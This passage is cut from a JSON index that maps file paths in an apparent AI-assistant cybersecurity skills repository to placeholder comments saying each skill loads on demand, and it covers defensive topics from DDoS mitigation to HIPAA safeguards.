/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-conduit-security-for-ot-remote-access%2Freferences%2Fapi-reference.md -->","skills/implementing-container-image-minimal-base-with-distroless/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-container-image-minimal-base-with-distroless%2FSKILL.md -->","skills/implementing-container-image-minimal-base-with-distroless/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-container-image-minimal-base-with-distroless%2Fassets%2Ftemplate.md -->","skills/implementing-container-image-minimal-base-with-distroless/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-container-image-minimal-base-with-distroless%2Freferences%2Fapi-reference.md -->","skills/implementing-container-image-minimal-base-with-distroless/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-container-image-minimal-base-with-distroless%2Freferences%2Fstandards.md -->","skills/implementing-container-image-minimal-base-with-distroless/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-container-image-minimal-base-with-distroless%2Freferences%2Fworkflows.md -->","skills/implementing-container-network-policies-with-calico/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-container-network-policies-with-calico%2FSKILL.md -->","skills/implementing-container-network-policies-with-calico/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-container-network-policies-with-calico%2Freferences%2Fapi-reference.md -->","skills/implementing-continuous-security-validation-with-bas/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-continuous-security-validation-with-bas%2FSKILL.md -->","skills/implementing-continuous-security-validation-with-bas/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-continuous-security-validation-with-bas%2Fassets%2Ftemplate.md -->","skills/implementing-continuous-security-validation-with-bas/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-continuous-security-validation-with-bas%2Freferences%2Fapi-reference.md -->","skills/implementing-continuous-security-validation-with-bas/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-continuous-security-validation-with-bas%2Freferences%2Fstandards.md -->","skills/implementing-continuous-security-validation-with-bas/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-continuous-security-validation-with-bas%2Freferences%2Fworkflows.md -->","skills/implementing-data-loss-prevention-with-microsoft-purview/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-data-loss-prevention-with-microsoft-purview%2FSKILL.md -->","skills/implementing-data-loss-prevention-with-microsoft-purview/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-data-loss-prevention-with-microsoft-purview%2Freferences%2Fapi-reference.md -->","skills/implementing-ddos-mitigation-with-cloudflare/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ddos-mitigation-with-cloudflare%2FSKILL.md -->","skills/implementing-ddos-mitigation-with-cloudflare/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ddos-mitigation-with-cloudflare%2Freferences%2Fapi-reference.md -->","skills/implementing-deception-based-detection-with-canarytoken/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-deception-based-detection-with-canarytoken%2FSKILL.md -->","skills/implementing-deception-based-detection-with-canarytoken/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-deception-based-detection-with-canarytoken%2Freferences%2Fapi-reference.md -->","skills/implementing-delinea-secret-server-for-pam/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-delinea-secret-server-for-pam%2FSKILL.md -->","skills/implementing-delinea-secret-server-for-pam/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-delinea-secret-server-for-pam%2Freferences%2Fapi-reference.md -->","skills/implementing-device-posture-assessment-in-zero-trust/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-device-posture-assessment-in-zero-trust%2FSKILL.md -->","skills/implementing-device-posture-assessment-in-zero-trust/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-device-posture-assessment-in-zero-trust%2Fassets%2Ftemplate.md -->","skills/implementing-device-posture-assessment-in-zero-trust/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-device-posture-assessment-in-zero-trust%2Freferences%2Fapi-reference.md -->","skills/implementing-device-posture-assessment-in-zero-trust/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-device-posture-assessment-in-zero-trust%2Freferences%2Fstandards.md -->","skills/implementing-device-posture-assessment-in-zero-trust/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-device-posture-assessment-in-zero-trust%2Freferences%2Fworkflows.md -->","skills/implementing-devsecops-security-scanning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-devsecops-security-scanning%2FSKILL.md -->","skills/implementing-devsecops-security-scanning/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-devsecops-security-scanning%2Freferences%2Fapi-reference.md -->","skills/implementing-diamond-model-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-diamond-model-analysis%2FSKILL.md -->","skills/implementing-diamond-model-analysis/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-diamond-model-analysis%2Fassets%2Ftemplate.md -->","skills/implementing-diamond-model-analysis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-diamond-model-analysis%2Freferences%2Fapi-reference.md -->","skills/implementing-diamond-model-analysis/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-diamond-model-analysis%2Freferences%2Fstandards.md -->","skills/implementing-diamond-model-analysis/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-diamond-model-analysis%2Freferences%2Fworkflows.md -->","skills/implementing-digital-signatures-with-ed25519/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-digital-signatures-with-ed25519%2FSKILL.md -->","skills/implementing-digital-signatures-with-ed25519/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-digital-signatures-with-ed25519%2Fassets%2Ftemplate.md -->","skills/implementing-digital-signatures-with-ed25519/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-digital-signatures-with-ed25519%2Freferences%2Fapi-reference.md -->","skills/implementing-digital-signatures-with-ed25519/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-digital-signatures-with-ed25519%2Freferences%2Fstandards.md -->","skills/implementing-digital-signatures-with-ed25519/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-digital-signatures-with-ed25519%2Freferences%2Fworkflows.md -->","skills/implementing-disk-encryption-with-bitlocker/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-disk-encryption-with-bitlocker%2FSKILL.md -->","skills/implementing-disk-encryption-with-bitlocker/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-disk-encryption-with-bitlocker%2Fassets%2Ftemplate.md -->","skills/implementing-disk-encryption-with-bitlocker/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-disk-encryption-with-bitlocker%2Freferences%2Fapi-reference.md -->","skills/implementing-disk-encryption-with-bitlocker/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-disk-encryption-with-bitlocker%2Freferences%2Fstandards.md -->","skills/implementing-disk-encryption-with-bitlocker/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-disk-encryption-with-bitlocker%2Freferences%2Fworkflows.md -->","skills/implementing-dmarc-dkim-spf-email-security/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-dmarc-dkim-spf-email-security%2FSKILL.md -->","skills/implementing-dmarc-dkim-spf-email-security/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-dmarc-dkim-spf-email-security%2Fassets%2Ftemplate.md -->","skills/implementing-dmarc-dkim-spf-email-security/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-dmarc-dkim-spf-email-security%2Freferences%2Fapi-reference.md -->","skills/implementing-dmarc-dkim-spf-email-security/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-dmarc-dkim-spf-email-security%2Freferences%2Fstandards.md -->","skills/implementing-dmarc-dkim-spf-email-security/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-dmarc-dkim-spf-email-security%2Freferences%2Fworkflows.md -->","skills/implementing-dragos-platform-for-ot-monitoring/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-dragos-platform-for-ot-monitoring%2FSKILL.md -->","skills/implementing-dragos-platform-for-ot-monitoring/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-dragos-platform-for-ot-monitoring%2Freferences%2Fapi-reference.md -->","skills/implementing-ebpf-security-monitoring/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ebpf-security-monitoring%2FSKILL.md -->","skills/implementing-ebpf-security-monitoring/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ebpf-security-monitoring%2Freferences%2Fapi-reference.md -->","skills/implementing-email-sandboxing-with-proofpoint/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-email-sandboxing-with-proofpoint%2FSKILL.md -->","skills/implementing-email-sandboxing-with-proofpoint/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-email-sandboxing-with-proofpoint%2Fassets%2Ftemplate.md -->","skills/implementing-email-sandboxing-with-proofpoint/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-email-sandboxing-with-proofpoint%2Freferences%2Fapi-reference.md -->","skills/implementing-email-sandboxing-with-proofpoint/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-email-sandboxing-with-proofpoint%2Freferences%2Fstandards.md -->","skills/implementing-email-sandboxing-with-proofpoint/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-email-sandboxing-with-proofpoint%2Freferences%2Fworkflows.md -->","skills/implementing-end-to-end-encryption-for-messaging/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-end-to-end-encryption-for-messaging%2FSKILL.md -->","skills/implementing-end-to-end-encryption-for-messaging/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-end-to-end-encryption-for-messaging%2Fassets%2Ftemplate.md -->","skills/implementing-end-to-end-encryption-for-messaging/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-end-to-end-encryption-for-messaging%2Freferences%2Fapi-reference.md -->","skills/implementing-end-to-end-encryption-for-messaging/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-end-to-end-encryption-for-messaging%2Freferences%2Fstandards.md -->","skills/implementing-end-to-end-encryption-for-messaging/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-end-to-end-encryption-for-messaging%2Freferences%2Fworkflows.md -->","skills/implementing-endpoint-detection-with-wazuh/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-endpoint-detection-with-wazuh%2FSKILL.md -->","skills/implementing-endpoint-detection-with-wazuh/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-endpoint-detection-with-wazuh%2Freferences%2Fapi-reference.md -->","skills/implementing-endpoint-dlp-controls/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-endpoint-dlp-controls%2FSKILL.md -->","skills/implementing-endpoint-dlp-controls/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-endpoint-dlp-controls%2Fassets%2Ftemplate.md -->","skills/implementing-endpoint-dlp-controls/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-endpoint-dlp-controls%2Freferences%2Fapi-reference.md -->","skills/implementing-endpoint-dlp-controls/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-endpoint-dlp-controls%2Freferences%2Fstandards.md -->","skills/implementing-endpoint-dlp-controls/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-endpoint-dlp-controls%2Freferences%2Fworkflows.md -->","skills/implementing-envelope-encryption-with-aws-kms/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-envelope-encryption-with-aws-kms%2FSKILL.md -->","skills/implementing-envelope-encryption-with-aws-kms/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-envelope-encryption-with-aws-kms%2Fassets%2Ftemplate.md -->","skills/implementing-envelope-encryption-with-aws-kms/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-envelope-encryption-with-aws-kms%2Freferences%2Fapi-reference.md -->","skills/implementing-envelope-encryption-with-aws-kms/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-envelope-encryption-with-aws-kms%2Freferences%2Fstandards.md -->","skills/implementing-envelope-encryption-with-aws-kms/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-envelope-encryption-with-aws-kms%2Freferences%2Fworkflows.md -->","skills/implementing-epss-score-for-vulnerability-prioritization/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-epss-score-for-vulnerability-prioritization%2FSKILL.md -->","skills/implementing-epss-score-for-vulnerability-prioritization/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-epss-score-for-vulnerability-prioritization%2Fassets%2Ftemplate.md -->","skills/implementing-epss-score-for-vulnerability-prioritization/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-epss-score-for-vulnerability-prioritization%2Freferences%2Fapi-reference.md -->","skills/implementing-epss-score-for-vulnerability-prioritization/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-epss-score-for-vulnerability-prioritization%2Freferences%2Fstandards.md -->","skills/implementing-epss-score-for-vulnerability-prioritization/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-epss-score-for-vulnerability-prioritization%2Freferences%2Fworkflows.md -->","skills/implementing-file-integrity-monitoring-with-aide/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-file-integrity-monitoring-with-aide%2FSKILL.md -->","skills/implementing-file-integrity-monitoring-with-aide/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-file-integrity-monitoring-with-aide%2Freferences%2Fapi-reference.md -->","skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-fuzz-testing-in-cicd-with-aflplusplus%2FSKILL.md -->","skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-fuzz-testing-in-cicd-with-aflplusplus%2Fassets%2Ftemplate.md -->","skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-fuzz-testing-in-cicd-with-aflplusplus%2Freferences%2Fapi-reference.md -->","skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-fuzz-testing-in-cicd-with-aflplusplus%2Freferences%2Fstandards.md -->","skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-fuzz-testing-in-cicd-with-aflplusplus%2Freferences%2Fworkflows.md -->","skills/implementing-gcp-binary-authorization/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-binary-authorization%2FSKILL.md -->","skills/implementing-gcp-binary-authorization/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-binary-authorization%2Fassets%2Ftemplate.md -->","skills/implementing-gcp-binary-authorization/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-binary-authorization%2Freferences%2Fapi-reference.md -->","skills/implementing-gcp-binary-authorization/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-binary-authorization%2Freferences%2Fstandards.md -->","skills/implementing-gcp-binary-authorization/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-binary-authorization%2Freferences%2Fworkflows.md -->","skills/implementing-gcp-organization-policy-constraints/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-organization-policy-constraints%2FSKILL.md -->","skills/implementing-gcp-organization-policy-constraints/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-organization-policy-constraints%2Fassets%2Ftemplate.md -->","skills/implementing-gcp-organization-policy-constraints/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-organization-policy-constraints%2Freferences%2Fapi-reference.md -->","skills/implementing-gcp-organization-policy-constraints/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-organization-policy-constraints%2Freferences%2Fstandards.md -->","skills/implementing-gcp-organization-policy-constraints/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-organization-policy-constraints%2Freferences%2Fworkflows.md -->","skills/implementing-gcp-vpc-firewall-rules/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-vpc-firewall-rules%2FSKILL.md -->","skills/implementing-gcp-vpc-firewall-rules/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gcp-vpc-firewall-rules%2Freferences%2Fapi-reference.md -->","skills/implementing-gdpr-data-protection-controls/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gdpr-data-protection-controls%2FSKILL.md -->","skills/implementing-gdpr-data-protection-controls/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gdpr-data-protection-controls%2Fassets%2Ftemplate.md -->","skills/implementing-gdpr-data-protection-controls/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gdpr-data-protection-controls%2Freferences%2Fapi-reference.md -->","skills/implementing-gdpr-data-protection-controls/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gdpr-data-protection-controls%2Freferences%2Fstandards.md -->","skills/implementing-gdpr-data-protection-controls/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gdpr-data-protection-controls%2Freferences%2Fworkflows.md -->","skills/implementing-gdpr-data-subject-access-request/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gdpr-data-subject-access-request%2FSKILL.md -->","skills/implementing-gdpr-data-subject-access-request/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-gdpr-data-subject-access-request%2Freferences%2Fapi-reference.md -->","skills/implementing-github-advanced-security-for-code-scanning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-github-advanced-security-for-code-scanning%2FSKILL.md -->","skills/implementing-github-advanced-security-for-code-scanning/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-github-advanced-security-for-code-scanning%2Fassets%2Ftemplate.md -->","skills/implementing-github-advanced-security-for-code-scanning/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-github-advanced-security-for-code-scanning%2Freferences%2Fapi-reference.md -->","skills/implementing-github-advanced-security-for-code-scanning/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-github-advanced-security-for-code-scanning%2Freferences%2Fstandards.md -->","skills/implementing-github-advanced-security-for-code-scanning/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-github-advanced-security-for-code-scanning%2Freferences%2Fworkflows.md -->","skills/implementing-google-workspace-admin-security/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-admin-security%2FSKILL.md -->","skills/implementing-google-workspace-admin-security/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-admin-security%2Freferences%2Fapi-reference.md -->","skills/implementing-google-workspace-phishing-protection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-phishing-protection%2FSKILL.md -->","skills/implementing-google-workspace-phishing-protection/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-phishing-protection%2Fassets%2Ftemplate.md -->","skills/implementing-google-workspace-phishing-protection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-phishing-protection%2Freferences%2Fapi-reference.md -->","skills/implementing-google-workspace-phishing-protection/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-phishing-protection%2Freferences%2Fstandards.md -->","skills/implementing-google-workspace-phishing-protection/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-phishing-protection%2Freferences%2Fworkflows.md -->","skills/implementing-google-workspace-sso-configuration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-sso-configuration%2FSKILL.md -->","skills/implementing-google-workspace-sso-configuration/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-sso-configuration%2Fassets%2Ftemplate.md -->","skills/implementing-google-workspace-sso-configuration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-sso-configuration%2Freferences%2Fapi-reference.md -->","skills/implementing-google-workspace-sso-configuration/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-sso-configuration%2Freferences%2Fstandards.md -->","skills/implementing-google-workspace-sso-configuration/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-google-workspace-sso-configuration%2Freferences%2Fworkflows.md -->","skills/implementing-hardware-security-key-authentication/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-hardware-security-key-authentication%2FSKILL.md -->","skills/implementing-hardware-security-key-authentication/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-hardware-security-key-authentication%2Freferences%2Fapi-reference.md -->","skills/implementing-hashicorp-vault-dynamic-secrets/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-hashicorp-vault-dynamic-secrets%2FSKILL.md -->","skills/implementing-hashicorp-vault-dynamic-secrets/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-hashicorp-vault-dynamic-secrets%2Freferences%2Fapi-reference.md -->","skills/implementing-hipaa-security-rule-safeguards/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-hipaa-security-rule-safeguards%2FSKILL.md -->","skills/implementing-hipaa-security-rule-safeguards/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-hipaa-security-rule-safeguards%2Fassets%2Ftemplate.md -->","skills/implementing-hipaa-security-rule-safeguards/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-hipaa-security-rule-safeguards%2Freferences%2Fstandards.md 